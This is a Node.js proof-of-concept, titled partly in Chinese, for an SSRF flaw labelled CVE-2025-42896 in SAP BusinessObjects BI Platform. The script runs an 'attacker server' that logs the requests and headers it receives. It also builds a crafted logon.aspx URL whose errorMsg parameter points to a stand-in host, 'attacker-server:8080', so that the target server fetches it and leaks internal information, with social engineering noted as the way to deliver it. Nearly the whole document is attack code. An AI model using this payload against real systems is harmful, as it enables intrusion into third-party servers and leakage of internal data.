CVE-2025-42896: SAP BusinessObjects BI Platform URL参数SSRF漏洞

// CVE-2025-42896 SSRF PoC for SAP BusinessObjects BI Platform // This PoC demonstrates how an attacker can inject a malicious URL // through the error message parameter to trigger server-side request forgery const http = require('http'); // Attacker-controlled server to receive SSRF requests const attackerServer = http.createServer((req, res) => { console.log('[+] Received request from victim server'); console.log('[+] Request URL:', req.url); console.log('[+] Request Headers:', req.headers); // Log request details for analysis const clientIP = req.connection.remoteAddress; console.log(`[+] Attacker IP: ${clientIP}`); // Send response to victim server res.writeHead(200, {'Content-Type': 'text/html'}); res.end('SSRF Test Response'); }); attackerServer.listen(8080, () => { console.log('[*] Attacker server listening on port 8080'); }); // Simulated attack URL pattern // The attacker would craft a URL like: // https://target-sap-server/BOE/logon.aspx?errorMsg=http://attacker-server:8080/malicious-endpoint // // The errorMsg parameter is exploited to trigger SSRF // Server will fetch the attacker-controlled URL, leaking internal information // Example malicious URL construction const targetBaseUrl = 'https://sap-boserver.example.com'; const attackerUrl = 'http://attacker-server:8080/internal-api'; const maliciousUrl = `${targetBaseUrl}/BOE/logon.aspx?errorMsg=${encodeURIComponent(attackerUrl)}`; console.log(`[*] Malicious URL: ${maliciousUrl}`); console.log('[*] Social engineering required to trick user into visiting this URL');